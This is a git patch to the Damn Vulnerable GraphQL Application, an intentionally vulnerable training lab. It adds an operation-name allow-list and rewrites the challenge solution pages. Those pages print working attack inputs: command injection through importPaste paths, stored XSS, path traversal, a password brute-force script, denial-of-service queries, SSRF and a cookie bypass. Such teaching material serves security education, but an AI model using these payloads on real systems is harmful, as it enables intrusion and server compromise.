From 614a19549b25dc8fc0edfa2cd0cabe613422c0bb Mon Sep 17 00:00:00 2001
From: dolevf
Date: Sat, 17 Apr 2021 21:43:44 -0400
Subject: [PATCH] version 1.3.0
---
README.md | 2 +
core/middleware.py | 51 +++++++-----
core/security.py | 15 ++--
core/views.py | 5 +-
db/solutions.py | 2 +
templates/index.html | 8 ++
templates/partials/navbar.html | 2 +-
templates/partials/solutions/solution_1.html | 21 +++--
templates/partials/solutions/solution_10.html | 42 +++++-----
templates/partials/solutions/solution_11.html | 57 +++++++------
templates/partials/solutions/solution_12.html | 36 ++++-----
templates/partials/solutions/solution_13.html | 48 ++++++-----
templates/partials/solutions/solution_14.html | 55 ++++---------
templates/partials/solutions/solution_15.html | 34 ++++----
templates/partials/solutions/solution_16.html | 56 ++++++++-----
templates/partials/solutions/solution_17.html | 29 +++++++
templates/partials/solutions/solution_18.html | 37 +++++++++
templates/partials/solutions/solution_2.html | 43 +++++-----
templates/partials/solutions/solution_3.html | 23 +++---
templates/partials/solutions/solution_4.html | 81 ++++++++-----------
templates/partials/solutions/solution_5.html | 52 ++++++------
templates/partials/solutions/solution_6.html | 63 ++++++++-------
templates/partials/solutions/solution_7.html | 34 ++++----
templates/partials/solutions/solution_8.html | 63 +++++++++------
templates/partials/solutions/solution_9.html | 52 +++++-------
templates/solutions.html | 6 ++
version.py | 2 +-
27 files changed, 519 insertions(+), 400 deletions(-)
create mode 100644 templates/partials/solutions/solution_17.html
create mode 100644 templates/partials/solutions/solution_18.html
diff --git a/README.md b/README.md
index 9049ed7..c90116a 100644
--- a/README.md
+++ b/README.md
@@ -35,6 +35,8 @@ DVGA supports Beginner and Expert level game modes, which will change the exploi
* Batch Query Attack
* Deep Recursion Query Attack
* Resource Intensive Query Attack
+ * Field Duplication Attack
+ * Aliases based Attack
* **Information Disclosure**
* GraphQL Introspection
* GraphiQL Interface
diff --git a/core/middleware.py b/core/middleware.py
index 69abe1d..b6bbfe5 100644
--- a/core/middleware.py
+++ b/core/middleware.py
@@ -4,39 +4,39 @@
from core.decorators import run_only_once
from core import (
- helpers,
- parser,
+ helpers,
+ parser,
security
)
# Middleware
class DepthProtectionMiddleware(object):
- def resolve(self, next, root, info, **kwargs):
+ def resolve(self, next, root, info, **kwargs):
if helpers.is_level_easy():
return next(root, info, **kwargs)
depth = 0
array_qry = []
-
+
if isinstance(info.context.json, dict):
array_qry.append(info.context.json)
-
+
elif isinstance(info.context.json, list):
array_qry = info.context.json
for q in array_qry:
query = q.get('query', None)
mutation = q.get('mutation', None)
-
+
if query:
depth = parser.get_depth(query)
-
+
elif mutation:
depth = parser.get_depth(query)
-
+
if security.depth_exceeded(depth):
raise werkzeug.exceptions.SecurityError('Query Depth Exceeded! Deep Recursion Attack Detected.')
-
+
return next(root, info, **kwargs)
class CostProtectionMiddleware(object):
@@ -49,10 +49,10 @@ def resolve(self, next, root, info, **kwargs):
if isinstance(info.context.json, dict):
array_qry.append(info.context.json)
-
+
elif isinstance(info.context.json, list):
array_qry = info.context.json
-
+
for q in array_qry:
query = q.get('query', None)
mutation = q.get('mutation', None)
@@ -61,13 +61,27 @@ def resolve(self, next, root, info, **kwargs):
fields_requested += parser.get_fields_from_query(query)
elif mutation:
fields_requested += parser.get_fields_from_query(mutation)
-
+
if security.cost_exceeded(fields_requested):
raise werkzeug.exceptions.SecurityError('Cost of Query is too high.')
-
+
return next(root, info, **kwargs)
-class processMiddleware(object):
+class OpNameProtectionMiddleware(object):
+ @run_only_once
+ def resolve(self, next, root, info, **kwargs):
+ if helpers.is_level_easy():
+ return next(root, info, **kwargs)
+
+ opname = helpers.get_opname(info.operation)
+
+ if opname != 'No Operation' and not security.operation_name_allowed(opname):
+ raise werkzeug.exceptions.SecurityError('Operation Name "{}" is not allowed.'.format(opname))
+
+ return next(root, info, **kwargs)
+
+
+class processMiddleware(object):
def resolve(self, next, root, info, **kwargs):
if helpers.is_level_easy():
return next(root, info, **kwargs)
@@ -82,7 +96,7 @@ def resolve(self, next, root, info, **kwargs):
query = q.get('query', None)
if security.on_denylist(query):
raise werkzeug.exceptions.SecurityError('Query is on the Deny List.')
-
+
return next(root, info, **kwargs)
class IntrospectionMiddleware(object):
@@ -103,8 +117,7 @@ def resolve(self, next, root, info, **kwargs):
raise werkzeug.exceptions.SecurityError('GraphiQL is disabled')
cookie = request.cookies.get('env')
- if cookie and helpers.decode_base64(cookie) == 'graphiql:enable':
+ if cookie and cookie == 'graphiql:enable':
return next(root, info, **kwargs)
-
- raise werkzeug.exceptions.SecurityError('GraphiQL Access Rejected')
-
\ No newline at end of file
+
+ raise werkzeug.exceptions.SecurityError('GraphiQL Access Rejected')
\ No newline at end of file
diff --git a/core/security.py b/core/security.py
index 14a45cb..f1f0c52 100644
--- a/core/security.py
+++ b/core/security.py
@@ -14,7 +14,6 @@ def simulate_load():
if count > limit:
return
-
def is_port(port):
if isinstance(port, int):
if port >= 0 and port <= 65535:
@@ -56,6 +55,12 @@ def on_denylist(query):
return True
return False
+def operation_name_allowed(operation_name):
+ opnames_allowed = ['CreatePaste', 'getPastes', 'UploadPaste', 'ImportPaste']
+ if operation_name in opnames_allowed:
+ return True
+ return False
+
def depth_exceeded(depth):
depth_allowed = config.MAX_DEPTH
if depth > depth_allowed:
@@ -65,16 +70,16 @@ def depth_exceeded(depth):
def cost_exceeded(qry_fields):
total_cost_allowed = config.MAX_COST
total_query_cost = 0
-
+
field_cost = {
'systemUpdate':10,
}
-
+
for field in qry_fields:
if field in field_cost:
total_query_cost += field_cost[field]
-
+
if total_query_cost > total_cost_allowed:
return True
-
+
return False
\ No newline at end of file
diff --git a/core/views.py b/core/views.py
index 9007cc1..194e1ea 100644
--- a/core/views.py
+++ b/core/views.py
@@ -202,7 +202,7 @@ def resolve_system_health(self, info):
@app.route('/')
def index():
resp = make_response(render_template('index.html'))
- resp.set_cookie("env", "Z3JhcGhpcWw6ZGlzYWJsZQ==")
+ resp.set_cookie("env", "graphiql:disable")
return resp
@app.route('/about')
@@ -284,7 +284,8 @@ def set_difficulty():
middleware.CostProtectionMiddleware(),
middleware.DepthProtectionMiddleware(),
middleware.IntrospectionMiddleware(),
- middleware.processMiddleware()
+ middleware.processMiddleware(),
+ middleware.OpNameProtectionMiddleware()
]
igql_middlew = [
diff --git a/db/solutions.py b/db/solutions.py
index 561de74..5e49e5d 100644
--- a/db/solutions.py
+++ b/db/solutions.py
@@ -15,4 +15,6 @@
"partials/solutions/solution_14.html",
"partials/solutions/solution_15.html",
"partials/solutions/solution_16.html",
+ "partials/solutions/solution_17.html",
+ "partials/solutions/solution_18.html",
]
\ No newline at end of file
diff --git a/templates/index.html b/templates/index.html
index 8851eb4..0b04552 100644
--- a/templates/index.html
+++ b/templates/index.html
@@ -30,6 +30,14 @@
Getting Started
If you are interacting with DVGA programmatically, you can set a specific game mode (such as Beginner, or Expert) by passing the HTTP Request Header X-DVGA-MODE with either Beginner or Expert as values.
If the Header is not set, DVGA will default to Easy mode.
+
Difficulty Level Explanation
+
Beginner
+
+ DVGA's Beginner level is literally the default GraphQL implementation without any restrictions, security controls, or other protections. This is what you would get out of the box in most of the GraphQL implementations without hardening, with the addition of other custom vulnerabilities.
+
+
Hard
+
DVGA's Hard level is a hardened GraphQL implementation which contains a few security controls against malicious queries, such as Cost Based Analysis, Query Depth, Field De-dup checks, etc.
+
GraphQL Resources
To learn about GraphQL, and common GraphQL weaknesses and attacks, the following
diff --git a/templates/partials/navbar.html b/templates/partials/navbar.html
index a0e5b18..ad9fcfb 100644
--- a/templates/partials/navbar.html
+++ b/templates/partials/navbar.html
@@ -26,7 +26,7 @@
- # Beginner mode
+# Beginner mode
- # We chain multiple resource intensive queries in an array and pass it to GraphQL
- data = [
- {"query":"query {\n systemUpdate\n}","variables":[]},
- {"query":"query {\n systemUpdate\n}","variables":[]},
- {"query":"query {\n systemUpdate\n}","variables":[]}
- ]
+# We chain multiple resource intensive queries in an array and pass it to GraphQL
+data = [
+{"query":"query {\n systemUpdate\n}","variables":[]},
+{"query":"query {\n systemUpdate\n}","variables":[]},
+{"query":"query {\n systemUpdate\n}","variables":[]}
+]
- requests.post('http://host/graphql', json=data)
+requests.post('http://host/graphql', json=data)
- # Expert mode
+# Expert mode
- # Cost Query Analysis is enabled, which should prevent running batched system updates from going through.
-
+Cost Query Analysis is enabled, which should prevent running batched system updates from going through.
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_10.html b/templates/partials/solutions/solution_10.html
index 9963169..d29b926 100644
--- a/templates/partials/solutions/solution_10.html
+++ b/templates/partials/solutions/solution_10.html
@@ -1,32 +1,38 @@
-
Injection :: Stored Cross Site Scripting
+
Code Execution :: OS Command Injection #1
Problem Statement
- The GraphQL mutations createPaste and importPaste allow creating and importing new pastes. The pastes may include any character without any restrictions. The pastes would then render in
- the Public and Private paste pages, which would result in a Cross Site Scripting vulnerability (XSS).
+ The mutation importPaste allows escaping from the parameters and introduce a UNIX command by chaining
+ commands. The GraphQL resolver does not sufficiently validate the input, and passes it directly
+ into cURL.
- # Create New Paste allows special characters that would render in HTML.
- mutation {
- createPaste(title:"<script>alert(1)</script>", content:"zzzz", public:true) {
- pasteId
- }
- }
+# Beginner mode
- # Alternatively, importing a paste that includes Javascript will also result in the same behaviour.
- mutation {
- importPaste(host:"localhost", port:80, path:"/xss.html"")
- }
-
+# Import Paste allows specifying UNIX characters to break out of the URL provided to importPaste, using characters such as ";" "&&", "||", and more.
+mutation {
+ importPaste(host:'localhost', port:80, path:"/ ; uname -a", scheme:"http"){
+ result
+ }
+}
+
+# Expert mode
+
+# Import Paste filters characters such as ";" and "&" but not "|", if you manage to cause the import to fail, you can double pipe it to a command that will execute in the context of the operating system.
+mutation {
+ importPaste(host:"hostthatdoesnotexist.com", port:80, path:"/ || uname -a", scheme:"http") {
+ result
+ }
+}
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_11.html b/templates/partials/solutions/solution_11.html
index 87fc823..9797759 100644
--- a/templates/partials/solutions/solution_11.html
+++ b/templates/partials/solutions/solution_11.html
@@ -1,36 +1,47 @@
-
Injection :: Log Injection
+
Code Execution :: OS Command Injection #2
Problem Statement
- GraphQL actions such as mutation and query have the ability to take an operation name as part of the query.
- Here is an example query that uses MyName as an operation name:
-
query MyName {
- getMyName
- {
- first
- last
- }
- }
-
The application is keeping track of all queries and mutations users are executing on this system in order to display them in the audit log.
-
However, the application is not doing a fair job at verifying the operation name.
+ The query systemDiagnostics accepts certain UNIX binaries as parameters for debugging purposes, such as
+ whoami, ps, etc. It acts as a restricted shell. However, it is protected
+ with a username and password. After obtaining the correct
+ credentials, the restricted shell seems to be bypassable by chaining commands together.
+
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_12.html b/templates/partials/solutions/solution_12.html
index 688d0ee..3ed6206 100644
--- a/templates/partials/solutions/solution_12.html
+++ b/templates/partials/solutions/solution_12.html
@@ -1,33 +1,31 @@
-
Injection :: HTML Injection
+
Injection :: Stored Cross Site Scripting
Problem Statement
- Similarly to the Cross Site Scripting problem, a paste can also include HTML tags that would render in the application, resulting in an HTML injection.
-
+ The GraphQL mutations createPaste and importPaste allow creating and importing new pastes. The pastes may include any character without any restrictions. The pastes would then render in
+ the Public and Private paste pages, which would result in a Cross Site Scripting vulnerability (XSS).
- # Create New Paste allows inserting HTML tags
- mutation {
- createPaste(title:"<h1>hello!</h1>", content:"zzzz", public:true) {
- pasteId
- }
- }
+# Create New Paste allows special characters that would render in HTML.
+mutation {
+ createPaste(title:"<script>alert(1)</script>", content:"zzzz", public:true) {
+ pasteId
+ }
+}
- # Content of HTML_Injection.html
- # <h1> Hello </h1>!
- mutation {
- importPaste(host:"localhost", port:80, path:"/HTML_Injection.html"")
- }
-
+# Alternatively, importing a paste that includes Javascript will also result in the same behaviour.
+mutation {
+ importPaste(host:"localhost", port:80, path:"/xss.html"")
+}
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_13.html b/templates/partials/solutions/solution_13.html
index e256e15..20c0c33 100644
--- a/templates/partials/solutions/solution_13.html
+++ b/templates/partials/solutions/solution_13.html
@@ -1,34 +1,46 @@
-
- GraphiQL is available at the path /graphiql with a poorly implemented authorization check.
-
+ GraphQL actions such as mutation and query have the ability to take an operation name as part of the query.
+ Here is an example query that uses MyName as an operation name:
+
query MyName {
+ getMyName
+ {
+ first
+ last
+ }
+ }
+
The application is keeping track of all queries and mutations users are executing on this system in order to display them in the audit log.
+
However, the application is not doing a fair job at verifying the operation name.
- # Beginner mode
+# Beginner mode:
- # Cookie 'env' stores a base64 encoded string with an instruction to disable graphiql. re-encoding with graphiql:enable bypasses the protection
- Z3JhcGhpcWw6ZGlzYWJsZQ== - graphiql:disable
+# Log spoof the operation to getPaste instead of createPaste
+mutation getPaste{
+ createPaste(title:"<script>alert(1)</script>", content:"zzzz", public:true) {
+ pasteId
+ }
+}
- # Specify a cookie that decodes to graphiql:enable to bypass this check:
- requests.post('http://host/graphiql',
- json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"},
- cookies={'env':'Z3JhcGhpcWw6ZW5hYmxl'}
- )
+# Inject to the log arbitrary strings
+query pwned {
+ systemHealth
+}
- # Expert mode
- # GraphiQL interface is disabled.
-
+
+# Expert mode:
+Log injection should not be impossible due to operation name allow-listing. Only a selection of expected operation names can be provided.
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_14.html b/templates/partials/solutions/solution_14.html
index 7ba2b81..6553c56 100644
--- a/templates/partials/solutions/solution_14.html
+++ b/templates/partials/solutions/solution_14.html
@@ -1,53 +1,32 @@
-
GraphQL Query Deny List Bypass
+
Injection :: HTML Injection
Problem Statement
- Creating an allow-list or deny-list for GraphQL is a common technique to prevent malicious queries from
- being resolved by GraphQL.
-
-
-
- By defining an allow-list, the application server will have a "known good" queries it will allow, and
- reject anything else.
-
-
- By defining a deny-list, the application server will have a "known bad" queries it will reject, and allow
- anything else.
-
-
-
- In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we
- trust. It does not mean it cannot have flaws too.
-
-
- The application has a deny-list mechanism implemented that attempts to reject Health queries using the
- systemHealth query.
-
-
- The problem with this mechanism is that it does not take into consideration queries can have operation names.
+ Similarly to the Cross Site Scripting problem, a paste can also include HTML tags that would render in the application, resulting in an HTML injection.
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_15.html b/templates/partials/solutions/solution_15.html
index 57d9efe..9358fbb 100644
--- a/templates/partials/solutions/solution_15.html
+++ b/templates/partials/solutions/solution_15.html
@@ -1,30 +1,32 @@
-
- The mutation uploadPaste allows uploading pastes from the user's computer by specifying the file along
- with the filename. The pastes are then stored on the server under a dedicated folder. The filename
- argument allows any string, effectively providing the ability to write the file to any location on the server's
- filesystem by traversing folders using ../../
+ GraphiQL is available at the path /graphiql with a poorly implemented authorization check.
- # Traverse the filesystem and place the file where you desire.
- mutation {
- uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
- result
- }
- }
-
+# Beginner mode
+
+# Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection
+
+# Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check:
+requests.post('http://host/graphiql',
+ json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"},
+ cookies={'env':'graphiql:enable'}
+)
+
+# Expert mode
+# GraphiQL interface is disabled.
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_16.html b/templates/partials/solutions/solution_16.html
index 2e8876f..a9d1c4d 100644
--- a/templates/partials/solutions/solution_16.html
+++ b/templates/partials/solutions/solution_16.html
@@ -1,38 +1,52 @@
-
- The query systemDiagnostics is an administrative functionality that allows running a subset of system
- commands on the server. The query is governed by a username and password before processing the
- command.
+ Creating an allow-list or deny-list for GraphQL is a common technique to prevent malicious queries from
+ being resolved by GraphQL.
+
+
+
+ By defining an allow-list, the application server will have a "known good" queries it will allow, and
+ reject anything else.
+
+
+ By defining a deny-list, the application server will have a "known bad" queries it will reject, and allow
+ anything else.
+
+
+
+ In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we
+ trust. It does not mean it cannot have flaws too.
+
+
+ The application has a deny-list mechanism implemented that attempts to reject Health queries using the
+ systemHealth query.
- The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute
- force attacks against the server.
+ The problem with this mechanism is that it does not take into consideration queries can have operation names.
+
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_17.html b/templates/partials/solutions/solution_17.html
new file mode 100644
index 0000000..ad5a7cf
--- /dev/null
+++ b/templates/partials/solutions/solution_17.html
@@ -0,0 +1,29 @@
+
+
+ The mutation uploadPaste allows uploading pastes from the user's computer by specifying the file along
+ with the filename. The pastes are then stored on the server under a dedicated folder. The filename
+ argument allows any string, effectively providing the ability to write the file to any location on the server's
+ filesystem by traversing folders using ../../
+
+# Traverse the filesystem and place the file where you desire.
+mutation {
+ uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
+ result
+ }
+}
+
+
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_18.html b/templates/partials/solutions/solution_18.html
new file mode 100644
index 0000000..b44c929
--- /dev/null
+++ b/templates/partials/solutions/solution_18.html
@@ -0,0 +1,37 @@
+
+
+ The query systemDiagnostics is an administrative functionality that allows running a subset of system
+ commands on the server. The query is governed by a username and password before processing the
+ command.
+
+
+ The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute
+ force attacks against the server.
+# Brute Force attack with a list of passwords:
+passwordlist = ['admin123', 'pass123', 'adminadmin', '123']
+
+for password in passwordlist:
+ resp = requests.post('http://host/graphql',
+ json = {
+ "query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password),
+ "variables":None
+ })
+
+ if not 'errors' in resp.text:
+ print('Password is', password)
+
+
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_2.html b/templates/partials/solutions/solution_2.html
index 023d70f..0bbcaea 100644
--- a/templates/partials/solutions/solution_2.html
+++ b/templates/partials/solutions/solution_2.html
@@ -22,26 +22,24 @@
- # Beginner mode
+# Beginner mode
- # We measure the amount of time it takes a query to finish
- import time
+# We measure the amount of time it takes a query to finish
+import time
- start = time.time()
- requests.post('http://host/graphql',
- json={"query":"query {\n systemUpdate\n}","variables":[]})
- end = time.time()
+start = time.time()
+requests.post('http://host/graphql',
+ json={"query":"query {\n systemUpdate\n}","variables":[]})
+end = time.time()
- print('Execution Time :: {} seconds'.format(end - start))
+print('Execution Time :: {} seconds'.format(end - start))
- # Execution Time :: 81.95908403396606 seconds
+# Execution Time :: 81.95908403396606 seconds
- # Expert mode
+# Expert mode
- # A Query Cost Analysis protection is implemented which should prevent bulk system updates!
-
+# A Query Cost Analysis protection is implemented which should prevent bulk system updates!
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_4.html b/templates/partials/solutions/solution_4.html
index 4a70a4a..2e03a5e 100644
--- a/templates/partials/solutions/solution_4.html
+++ b/templates/partials/solutions/solution_4.html
@@ -1,61 +1,48 @@
-
Information Disclosure :: GraphQL Introspection
+
Denial of Service :: Field Duplication Attack
Problem Statement
-
GraphQL Introspection is a special query that uses the __schema field to interrogate GraphQL for its schema.
+
Various GraphQL implementation do not bother de-duplicating repeating fields in GraphQL, allowing the user to multiply the same requested fields as they wish.
+
This causes extra load on the server to return the same fields over and over again.
+
There are a few ways in which this issue can be mitigated:
- Introspection in itself is not a weakness, but a feature. However, if it is made available, it can be used and abused by attackers seeking information about your GraphQL implementation, such as what queries or mutations exist.
-
-
- It is recommended to disable introspection in production to avoid data leakages.
-
-
- Note: If introspection query is disabled, attackers may fall back to using the Field Suggestion feature to understand what queries and fields are supported by your GraphQL. Refer to Information Disclosure :: GraphQL Field Suggestionsattack for more information.
+
+
Field De-Duplication
+
Query Cost Analysis
+
-
+
Field De-Duplication can be achieved by using a middleware function to traverse the schema and remove any duplications, or simply analyze repeating patterns in order to reject the query.
+
Query Cost Analysis will be beneficial against these attacks, since each field will ultimately result in increased cost.
- # Beginner mode
-
- # Navigate to http://host/igraphql
- # Run Introspection query
+# Beginner mode
- query {
- __schema {
- queryType { name }
- mutationType { name }
- subscriptionType { name }
+query {
+ pastes {
+ owner {
+ pastes {
+ edges {
+ node {
+ ipAddr # 1
+ ipAddr # 2
+ ipAddr # 3
+ ipAddr # 4
+ ...
+ ipAddr # 10,000
+ }
+ }
}
}
-
-
- # Expert mode
-
- # Introspection is disabled, enumeration of fields and dynamic testing is required to understand the structure of the application.
-
+ }
+}
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_5.html b/templates/partials/solutions/solution_5.html
index 04ab83c..0aeb58d 100644
--- a/templates/partials/solutions/solution_5.html
+++ b/templates/partials/solutions/solution_5.html
@@ -1,36 +1,40 @@
-
Information Disclosure :: GraphQL Interface
+
Denial of Service :: Aliases based Attack
Problem Statement
+
In GraphQL, it is possible to run multiple queries without needing to batch them together.
+
If batching is disabled, you could build a query composed of multiple aliases calling the same query or mutation, if the server is not analyzing the cost of the query, it will be possible to overwhelm the server's resources by using expensive queries using aliases.
- GraphQL has a an Integrated Development Environment named GraphiQL (note the i) that allows constructing queries in a friendly user interface.
-
-
- GraphiQL is usually found in paths such as: /graphiql or __graphiql, however, it can be in other places too. You can use this Nmap NSE script to enumerate GraphiQL endpoints.
+
+
Query Middleware
+
Query Cost Analysis
+
+
Query Middleware is needed to identify the use of aliases in order to make a decision (reject/allow) based on your business logic.
+
Query Cost Analysis will be beneficial against these attacks, since each query will ultimately result in increased cost.
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_6.html b/templates/partials/solutions/solution_6.html
index a64d65b..2e2a81a 100644
--- a/templates/partials/solutions/solution_6.html
+++ b/templates/partials/solutions/solution_6.html
@@ -1,57 +1,60 @@
-
Information Disclosure :: GraphQL Field Suggestions
+
Information Disclosure :: GraphQL Introspection
Problem Statement
+
GraphQL Introspection is a special query that uses the __schema field to interrogate GraphQL for its schema.
- GraphQL has a feature for field and operation suggestions. When a developer wants to integrate with a GraphQL API and types an incorrect field, as an example, GraphQL will attempt to suggest nearby fields that are
- similar.
+ Introspection in itself is not a weakness, but a feature. However, if it is made available, it can be used and abused by attackers seeking information about your GraphQL implementation, such as what queries or mutations exist.
- Field suggestions is not a vulnerability in itself, but a feature that can be abused to gain more insight into GraphQL's schema, especially when Introspection is not allowed.
+ It is recommended to disable introspection in production to avoid data leakages.
+
+
+ Note: If introspection query is disabled, attackers may fall back to using the Field Suggestion feature to understand what queries and fields are supported by your GraphQL. Refer to Information Disclosure :: GraphQL Field Suggestionsattack for more information.
- # Beginner and Expert modes
+# Beginner mode
+
+# Navigate to http://host/igraphql
+# Run Introspection query
+
+query {
+ __schema {
+ queryType { name }
+ mutationType { name }
+ subscriptionType { name }
+ }
+}
+
- # Supplying incorrect fields will trigger GraphQL to disclose fields with similar names
- query {
- system
- }
+# Expert mode
- >>> Response:
- {
- "errors": [
- {
- "message": "Cannot query field \"system\" on type \"Query\". Did you mean \"pastes\", \"paste\", \"systemUpdate\" or \"systemHealth\"?",
- "locations": [
- {
- "line": 2,
- "column": 3
- }
- ]
- }
- ]
- }
-
+# Introspection is disabled, enumeration of fields and dynamic testing is required to understand the structure of the application.
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_7.html b/templates/partials/solutions/solution_7.html
index 6e601a3..f4ce19f 100644
--- a/templates/partials/solutions/solution_7.html
+++ b/templates/partials/solutions/solution_7.html
@@ -1,33 +1,35 @@
-
Information Disclosure :: Server Side Request Forgery
+
Information Disclosure :: GraphQL Interface
Problem Statement
- The GraphQL mutation importPaste accepts arbitrary host, port and scheme to import pastes from and does
- not restrict input such as localhost or other internal servers from being used. This may allow
- forging requests on behalf of the application server to target other network nodes.
+ GraphQL has a an Integrated Development Environment named GraphiQL (note the i) that allows constructing queries in a friendly user interface.
+
+
+ GraphiQL is usually found in paths such as: /graphiql or __graphiql, however, it can be in other places too. You can use this Nmap NSE script to enumerate GraphiQL endpoints.
+
- # Beginner and Expert modes
+# Beginner mode
+
+# Browse to http://host/graphiql
+
+# Expert mode
- # Any arbitrary host and ports can be used to make an outbound HTTP request
- mutation {
- importPaste(host:"localhost", port:57130, path:"/", scheme:"http")
- }
-
+# GraphiQL will be disabled.
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_8.html b/templates/partials/solutions/solution_8.html
index 5499969..72bb7cf 100644
--- a/templates/partials/solutions/solution_8.html
+++ b/templates/partials/solutions/solution_8.html
@@ -1,39 +1,56 @@
-
Code Execution :: OS Command Injection #1
+
Information Disclosure :: GraphQL Field Suggestions
Problem Statement
- The mutation importPaste allows escaping from the parameters and introduce a UNIX command by chaining
- commands. The GraphQL resolver does not sufficiently validate the input, and passes it directly
- into cURL.
+ GraphQL has a feature for field and operation suggestions. When a developer wants to integrate with a GraphQL API and types an incorrect field, as an example, GraphQL will attempt to suggest nearby fields that are
+ similar.
+
+
+ Field suggestions is not a vulnerability in itself, but a feature that can be abused to gain more insight into GraphQL's schema, especially when Introspection is not allowed.
+
- # Beginner mode
-
- # Import Paste allows specifying UNIX characters to break out of the URL provided to importPaste, using characters such as ";" "&&", "||", and more.
- mutation {
- importPaste(host:'localhost', port:80, path:"/ ; uname -a", scheme:"http"){
- result
- }
- }
+# Beginner and Expert modes
- # Expert mode
+# Supplying incorrect fields will trigger GraphQL to disclose fields with similar names
+query {
+ system
+}
- # Import Paste filters characters such as ";" and "&" but not "|", if you manage to cause the import to fail, you can double pipe it to a command that will execute in the context of the operating system.
- mutation {
- importPaste(host:"hostthatdoesnotexist.com", port:80, path:"/ || uname -a", scheme:"http") {
- result
- }
+>>> Response:
+{
+ "errors": [
+ {
+ "message": "Cannot query field \"system\" on type \"Query\". Did you mean \"pastes\", \"paste\", \"systemUpdate\" or \"systemHealth\"?",
+ "locations": [
+ {
+ "line": 2,
+ "column": 3
+ }
+ ]
}
-
+ ]
+}
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_9.html b/templates/partials/solutions/solution_9.html
index c28ae73..bebfac9 100644
--- a/templates/partials/solutions/solution_9.html
+++ b/templates/partials/solutions/solution_9.html
@@ -1,48 +1,32 @@
-
Code Execution :: OS Command Injection #2
+
Information Disclosure :: Server Side Request Forgery
Problem Statement
- The query systemDiagnostics accepts certain UNIX binaries as parameters for debugging purposes, such as
- whoami, ps, etc. It acts as a restricted shell. However, it is protected
- with a username and password. After obtaining the correct
- credentials, the restricted shell seems to be bypassable by chaining commands together.
-
+ The GraphQL mutation importPaste accepts arbitrary host, port and scheme to import pastes from and does
+ not restrict input such as localhost or other internal servers from being used. This may allow
+ forging requests on behalf of the application server to target other network nodes.
+# Any arbitrary host and ports can be used to make an outbound HTTP request
+mutation {
+ importPaste(host:"localhost", port:57130, path:"/", scheme:"http")
+}
\ No newline at end of file
diff --git a/templates/solutions.html b/templates/solutions.html
index 03a7471..e091a67 100644
--- a/templates/solutions.html
+++ b/templates/solutions.html
@@ -31,6 +31,12 @@
diff --git a/version.py b/version.py
index f91b671..39f2173 100644
--- a/version.py
+++ b/version.py
@@ -1 +1 @@
-VERSION = '1.2.3'
\ No newline at end of file
+VERSION = '1.3.0'
\ No newline at end of file